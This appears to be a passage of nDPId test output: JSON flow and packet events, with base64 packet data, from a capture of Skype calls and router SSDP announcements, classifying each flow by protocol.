+00525{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":522,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":1,"flow_first_seen":1431970645790,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.27","src_port":13021,"dst_port":40025,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00730{"flow_id":19,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":523,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970646,"pkt_ts_usec":526093,"pkt_caplen":279,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":279,"pkt_l4_len":245,"pkt":"PBXCt3IO0NQSxnP1CABFAAEJQB9AADEGlOERj6CVwKgBIhRnxOfKLqurIALxboAYAQqNlQAAAQEIClVYBlc+MYw5FwMBANBBPnYQ3MvLTtMYdbz0\/DlZYXrEXIv2\/rH+drT1aX9evssLuVRMDl3QSMVQ5mEY0\/AMVWIBvH6FB7+VLmLzLBAlApwIR\/pgZ8dHNQ+FR9uDZJv8y\/k81NO6WrgsBaMbre5mHzeJJa\/1PvYSNghTDfU7tyJC\/BuhouOcubsp78rR9\/PeoVc8nRc15q6ePgewOeEXV7cwouwXYH5r22PZtMDOfowJ3WUbhMyTHrhhLUTwNC6TLywCmXjGJCy\/vKgI21C6KbUoV5dQmUZJn5EWFr7D"} +00435{"flow_id":19,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":524,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970646,"pkt_ts_usec":526191,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA04y5AAEAG46bAqAEiEY+glcTnFGcgAvFuyi6sgIAQD\/lCpAAAAQEICj4xtOFVWAZX"} +00558{"flow_id":19,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":525,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970646,"pkt_ts_usec":528090,"pkt_caplen":156,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":156,"pkt_l4_len":122,"pkt":"0NQSxnP1PBXCt3IOCABFAACOcKNAAEAGVdjAqAEiEY+glcTnFGcgAvFuyi6sgIAYEAD3WAAAAQEICj4xtOJVWAZXFwMBACDuYk2bwgTyOXwC51MmgFGi2ZbfVRwCbzRfkIv9V7lkERcDAQAwIXJA9A7j3DEsaoI+VAhi19LwoM0S0IRXaTeOOjxSOxnOIy\/Lo5axDlu3HMFCyqNA"} +00434{"flow_id":19,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":542,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970646,"pkt_ts_usec":741540,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0QCBAADEGlbURj6CVwKgBIhRnxOfKLqyAIALxyIAQAQpP+gAAAQEIClVYB5U+MbTi"} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":543,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":1,"flow_first_seen":1431970646799,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.34","src_port":13021,"dst_port":40027,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00448{"flow_id":39,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":543,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970646,"pkt_ts_usec":799914,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"0NQSxnP1PBXCt3IOCABFAAA7AJsAAEAR\/k3AqAEib91KIjLdnFsAJ+15esMC4VlNRvu3By\/5s5rGR+P6LgoKPKR7nd4t4OfW1A=="} +00526{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":543,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":1,"flow_first_seen":1431970646799,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.34","src_port":13021,"dst_port":40027,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":544,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":1,"flow_first_seen":1431970646799,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.168","src_port":13021,"dst_port":40024,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00453{"flow_id":40,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":544,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970646,"pkt_ts_usec":799914,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"0NQSxnP1PBXCt3IOCABFAAA\/TKMAAEAR42DAqAEinTfrqDLdnFgAKzONesUCSrWxfzMM\/u+ve5H0njBV7f1MGIL\/NDrkYJJdktuSF9Y="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":544,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":1,"flow_first_seen":1431970646799,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.168","src_port":13021,"dst_port":40024,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":545,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":1,"flow_first_seen":1431970646799,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.143","src_port":13021,"dst_port":40030,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":41,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":545,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970646,"pkt_ts_usec":799986,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"0NQSxnP1PBXCt3IOCABFAAA5mqYAAEARlXzAqAEinTfrjzLdnF4AJa4yescCvwHYJJA0SDNaHmIGriSDO5fklPid0RnUmyQ="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":545,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":1,"flow_first_seen":1431970646799,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.143","src_port":13021,"dst_port":40030,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":546,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":1,"flow_first_seen":1431970646799,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.143","src_port":13021,"dst_port":40022,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":42,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":546,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970646,"pkt_ts_usec":799987,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"0NQSxnP1PBXCt3IOCABFAAA1cmsAAEARiRbAqAEib91NjzLdnFYAIbzweskC5JgrRdKtWjAuXzT2S5r85LjjhllfqQ=="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":546,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":1,"flow_first_seen":1431970646799,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.143","src_port":13021,"dst_port":40022,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":547,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":1,"flow_first_seen":1431970646799,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.44","src_port":13021,"dst_port":40019,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":43,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":547,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970646,"pkt_ts_usec":799987,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"0NQSxnP1PBXCt3IOCABFAAA42pAAAEARJFHAqAEib91KLDLdnFMAJIhoessC81Jpsjijfp0Q\/Q0jMgS+1lTSx5HXr8lZjQ=="} +00526{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":547,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":1,"flow_first_seen":1431970646799,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.44","src_port":13021,"dst_port":40019,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00478{"flow_id":22,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":548,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970647,"pkt_ts_usec":110720,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":94,"pkt_l4_len":60,"pkt":"0NQSxnP1PBXCt3IOCABFAABQmndAAEAGDRLAqAEinTg0HMggAbskulh14+mZNYAYECyiagAAAQEICj4xtydMX+wkj\/+\/FJjGnvuHRd2oWYqGsDWb1go6xLS\/RXUyPQ=="} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":562,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":1,"flow_first_seen":1431970647810,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.173","src_port":13021,"dst_port":40013,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":44,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":562,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970647,"pkt_ts_usec":810412,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"0NQSxnP1PBXCt3IOCABFAAA6zV0AAEARYhbAqAEi1cezrTLdnE0AJlZnes0Ccg7v+3Lfid3osaqIFpFm\/v4o\/QqgzaHMxbGQ"} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":562,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":1,"flow_first_seen":1431970647810,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.173","src_port":13021,"dst_port":40013,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":563,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":1,"flow_first_seen":1431970647810,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.167","src_port":13021,"dst_port":40024,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":45,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":563,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970647,"pkt_ts_usec":810413,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"0NQSxnP1PBXCt3IOCABFAAA1vrcAAEARJFjAqAEinTc4pzLdnFgAIREees8CCCEtcEeglQLd7mhp21iK7rcni5fedw=="} +00526{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":563,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":1,"flow_first_seen":1431970647810,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.167","src_port":13021,"dst_port":40024,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":564,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":1,"flow_first_seen":1431970647810,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.165","src_port":13021,"dst_port":40004,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":46,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":564,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970647,"pkt_ts_usec":810480,"pkt_caplen":75,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":75,"pkt_l4_len":41,"pkt":"0NQSxnP1PBXCt3IOCABFAAA9vysAAEARohHAqAEiQAQXpTLdnEQAKTALetECX1BVIaBDDxsr7kKWybF1ggh0MeIv40Hl0rhawj9H"} +00524{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":564,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":1,"flow_first_seen":1431970647810,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.165","src_port":13021,"dst_port":40004,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":565,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":1,"flow_first_seen":1431970647810,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.17","src_port":13021,"dst_port":40025,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":47,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":565,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970647,"pkt_ts_usec":810480,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"0NQSxnP1PBXCt3IOCABFAAA4G6EAAEARfQHAqAEiQTffETLdnFkAJOrWetMCvMga3ljFR4ptkQ1XTBYwQJAI0\/6MTBVdPQ=="} +00525{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":565,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":1,"flow_first_seen":1431970647810,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.17","src_port":13021,"dst_port":40025,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":566,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":1,"flow_first_seen":1431970647810,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.18","src_port":13021,"dst_port":33033,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00440{"flow_id":48,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":566,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970647,"pkt_ts_usec":810480,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"0NQSxnP1PBXCt3IOCABFAAA1FVUAAEARg0\/AqAEiQTffEjLdgQkAIczZetUCcHkMN3GT\/RrB0G0KocMuGJme8meMAw=="} +00525{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":566,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":1,"flow_first_seen":1431970647810,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.18","src_port":13021,"dst_port":33033,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00491{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":567,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":1,"flow_first_seen":1431970648367,"flow_last_seen":0,"flow_tot_l4_data_len":299,"flow_min_l4_data_len":299,"flow_max_l4_data_len":299,"flow_avg_l4_data_len":299,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.254","dst_ip":"239.255.255.250","src_port":1025,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00801{"flow_id":49,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":567,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970648,"pkt_ts_usec":367692,"pkt_caplen":333,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":333,"pkt_l4_len":299,"pkt":"AQBef\/\/6oPPBbTu2CABFAAE\/BH4AAAQR\/4\/AqAD+7\/\/\/+gQBB2wBK+71Tk9USUZZICogSFRUUC8xLjENCkhPU1Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpDQUNIRS1DT05UUk9MOiBtYXgtYWdlPTEwMA0KTE9DQVRJT046IGh0dHA6Ly8xOTIuMTY4LjAuMjU0OjE5MDAvaWdkLnhtbA0KTlQ6IHVwbnA6cm9vdGRldmljZQ0KTlRTOiBzc2RwOmFsaXZlDQpTRVJWRVI6IFRQLUxJTksgV2lyZWxlc3MgTiBOYW5vIFJvdXRlciBXUjcwMk4sIFVQblAvMS4wDQpVU046IHV1aWQ6dXBucC1JbnRlcm5ldEdhdGV3YXlEZXZpY2UtMTkyMTY4MDI1NDc4OTAwMDAxOjp1cG5wOnJvb3RkZXZpY2UNCg0K"} +00522{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":567,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":1,"flow_first_seen":1431970648367,"flow_last_seen":0,"flow_tot_l4_data_len":299,"flow_min_l4_data_len":299,"flow_max_l4_data_len":299,"flow_avg_l4_data_len":299,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.254","dst_ip":"239.255.255.250","src_port":1025,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00823{"flow_id":49,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":568,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970648,"pkt_ts_usec":368249,"pkt_caplen":351,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":351,"pkt_l4_len":317,"pkt":"AQBef\/\/6oPPBbTu2CABFAAFRBH8AAAQR\/3zAqAD+7\/\/\/+gQBB2wBPQhzTk9USUZZICogSFRUUC8xLjENCkhPU1Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpDQUNIRS1DT05UUk9MOiBtYXgtYWdlPTEwMA0KTE9DQVRJT046IGh0dHA6Ly8xOTIuMTY4LjAuMjU0OjE5MDAvaWdkLnhtbA0KTlQ6IHV1aWQ6dXBucC1JbnRlcm5ldEdhdGV3YXlEZXZpY2UtMTkyMTY4MDI1NDc4OTAwMDAxDQpOVFM6IHNzZHA6YWxpdmUNClNFUlZFUjogVFAtTElOSyBXaXJlbGVzcyBOIE5hbm8gUm91dGVyIFdSNzAyTiwgVVBuUC8xLjANClVTTjogdXVpZDp1cG5wLUludGVybmV0R2F0ZXdheURldmljZS0xOTIxNjgwMjU0Nzg5MDAwMDENCg0K"} +00895{"flow_id":49,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":569,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970648,"pkt_ts_usec":368833,"pkt_caplen":405,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":405,"pkt_l4_len":371,"pkt":"AQBef\/\/6oPPBbTu2CABFAAGHBIAAAAQR\/0XAqAD+7\/\/\/+gQBB2wBc+ePTk9USUZZICogSFRUUC8xLjENCkhPU1Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpDQUNIRS1DT05UUk9MOiBtYXgtYWdlPTEwMA0KTE9DQVRJT046IGh0dHA6Ly8xOTIuMTY4LjAuMjU0OjE5MDAvaWdkLnhtbA0KTlQ6IHVybjpzY2hlbWFzLXVwbnAtb3JnOmRldmljZTpJbnRlcm5ldEdhdGV3YXlEZXZpY2U6MQ0KTlRTOiBzc2RwOmFsaXZlDQpTRVJWRVI6IFRQLUxJTksgV2lyZWxlc3MgTiBOYW5vIFJvdXRlciBXUjcwMk4sIFVQblAvMS4wDQpVU046IHV1aWQ6dXBucC1JbnRlcm5ldEdhdGV3YXlEZXZpY2UtMTkyMTY4MDI1NDc4OTAwMDAxOjp1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2U6SW50ZXJuZXRHYXRld2F5RGV2aWNlOjENCg0K"} +00888{"flow_id":49,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":570,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970648,"pkt_ts_usec":369351,"pkt_caplen":397,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":397,"pkt_l4_len":363,"pkt":"AQBef\/\/6oPPBbTu2CABFAAF\/BIEAAAQR\/0zAqAD+7\/\/\/+gQBB2wBawDYTk9USUZZICogSFRUUC8xLjENCkhPU1Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpDQUNIRS1DT05UUk9MOiBtYXgtYWdlPTEwMA0KTE9DQVRJT046IGh0dHA6Ly8xOTIuMTY4LjAuMjU0OjE5MDAvaWdkLnhtbA0KTlQ6IHVybjpzY2hlbWFzLXVwbnAtb3JnOnNlcnZpY2U6TGF5ZXIzRm9yd2FyZGluZzoxDQpOVFM6IHNzZHA6YWxpdmUNClNFUlZFUjogVFAtTElOSyBXaXJlbGVzcyBOIE5hbm8gUm91dGVyIFdSNzAyTiwgVVBuUC8xLjANClVTTjogdXVpZDp1cG5wLUludGVybmV0R2F0ZXdheURldmljZS0xOTIxNjgwMjU0Nzg5MDAwMDE6OnVybjpzY2hlbWFzLXVwbnAtb3JnOnNlcnZpY2U6TGF5ZXIzRm9yd2FyZGluZzoxDQoNCg=="} +00791{"flow_id":49,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":571,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970648,"pkt_ts_usec":369842,"pkt_caplen":327,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":327,"pkt_l4_len":293,"pkt":"AQBef\/\/6oPPBbTu2CABFAAE5BIIAAAQR\/5HAqAD+7\/\/\/+gQBB2wBJULdTk9USUZZICogSFRUUC8xLjENCkhPU1Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpDQUNIRS1DT05UUk9MOiBtYXgtYWdlPTEwMA0KTE9DQVRJT046IGh0dHA6Ly8xOTIuMTY4LjAuMjU0OjE5MDAvaWdkLnhtbA0KTlQ6IHV1aWQ6dXBucC1XQU5EZXZpY2UtMTkyMTY4MDI1NDc4OTAwMDAxDQpOVFM6IHNzZHA6YWxpdmUNClNFUlZFUjogVFAtTElOSyBXaXJlbGVzcyBOIE5hbm8gUm91dGVyIFdSNzAyTiwgVVBuUC8xLjANClVTTjogdXVpZDp1cG5wLVdBTkRldmljZS0xOTIxNjgwMjU0Nzg5MDAwMDENCg0K"} 